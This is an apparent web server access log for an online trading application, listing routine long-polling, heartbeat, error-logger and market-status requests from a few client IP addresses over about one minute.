[09/Jan/2026:11:30:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929688559 HTTP/1.1" -
[09/Jan/2026:11:30:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:30:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929704237 HTTP/1.1" -
[09/Jan/2026:11:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:30:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929693265 HTTP/1.1" -
[09/Jan/2026:11:30:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929689568 HTTP/1.1" -
[09/Jan/2026:11:30:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:30:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929693590 HTTP/1.1" -
[09/Jan/2026:11:30:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929710234 HTTP/1.1" -
[09/Jan/2026:11:30:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929698331 HTTP/1.1" -
[09/Jan/2026:11:30:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929694681 HTTP/1.1" -
[09/Jan/2026:11:30:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929698636 HTTP/1.1" -
[09/Jan/2026:11:30:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929703502 HTTP/1.1" -
[09/Jan/2026:11:30:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929699746 HTTP/1.1" -
[09/Jan/2026:11:30:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929716232 HTTP/1.1" -
[09/Jan/2026:11:30:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929703663 HTTP/1.1" -
[09/Jan/2026:11:30:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929708640 HTTP/1.1" -
[09/Jan/2026:11:30:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929704809 HTTP/1.1" -
[09/Jan/2026:11:30:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929722224 HTTP/1.1" -
[09/Jan/2026:11:30:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929708697 HTTP/1.1" -
[09/Jan/2026:11:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:30:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929713769 HTTP/1.1" -
[09/Jan/2026:11:30:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929709892 HTTP/1.1" -
[09/Jan/2026:11:30:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929728233 HTTP/1.1" -
[09/Jan/2026:11:30:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929713748 HTTP/1.1" -
[09/Jan/2026:11:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:30:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929718924 HTTP/1.1" -
[09/Jan/2026:11:30:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929714950 HTTP/1.1" -
[09/Jan/2026:11:30:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929718764 HTTP/1.1" -
[09/Jan/2026:11:30:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:30:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929734225 HTTP/1.1" -
[09/Jan/2026:11:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:30:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929724064 HTTP/1.1" -
[09/Jan/2026:11:30:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929720016 HTTP/1.1" -
[09/Jan/2026:11:30:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:30:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:30:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929723794 HTTP/1.1" -
[09/Jan/2026:11:30:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929740223 HTTP/1.1" -
[09/Jan/2026:11:30:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929729146 HTTP/1.1" -
[09/Jan/2026:11:30:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929725056 HTTP/1.1" -
[09/Jan/2026:11:30:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929728841 HTTP/1.1" -
[09/Jan/2026:11:31:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929746224 HTTP/1.1" -
[09/Jan/2026:11:31:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929730099 HTTP/1.1" -
[09/Jan/2026:11:31:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929734224 HTTP/1.1" -
[09/Jan/2026:11:31:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929733881 HTTP/1.1" -
[09/Jan/2026:11:31:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929735180 HTTP/1.1" -
[09/Jan/2026:11:31:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929739414 HTTP/1.1" -
[09/Jan/2026:11:31:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929752228 HTTP/1.1" -
[09/Jan/2026:11:31:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929738921 HTTP/1.1" -
[09/Jan/2026:11:31:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929740241 HTTP/1.1" -
[09/Jan/2026:11:31:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929744535 HTTP/1.1" -
[09/Jan/2026:11:31:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929758238 HTTP/1.1" -
[09/Jan/2026:11:31:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929743951 HTTP/1.1" -
[09/Jan/2026:11:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:31:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929745308 HTTP/1.1" -
[09/Jan/2026:11:31:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929749722 HTTP/1.1" -
[09/Jan/2026:11:31:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929748990 HTTP/1.1" -
[09/Jan/2026:11:31:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:31:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929764231 HTTP/1.1" -
[09/Jan/2026:11:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:31:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929750391 HTTP/1.1" -
[09/Jan/2026:11:31:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:31:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:31:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929754930 HTTP/1.1" -
[09/Jan/2026:11:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929754018 HTTP/1.1" -
[09/Jan/2026:11:31:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929770227 HTTP/1.1" -
[09/Jan/2026:11:31:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929755414 HTTP/1.1" -
[09/Jan/2026:11:31:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929760000 HTTP/1.1" -
[09/Jan/2026:11:31:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929759060 HTTP/1.1" -
[09/Jan/2026:11:31:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929776230 HTTP/1.1" -
[09/Jan/2026:11:31:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929760437 HTTP/1.1" -
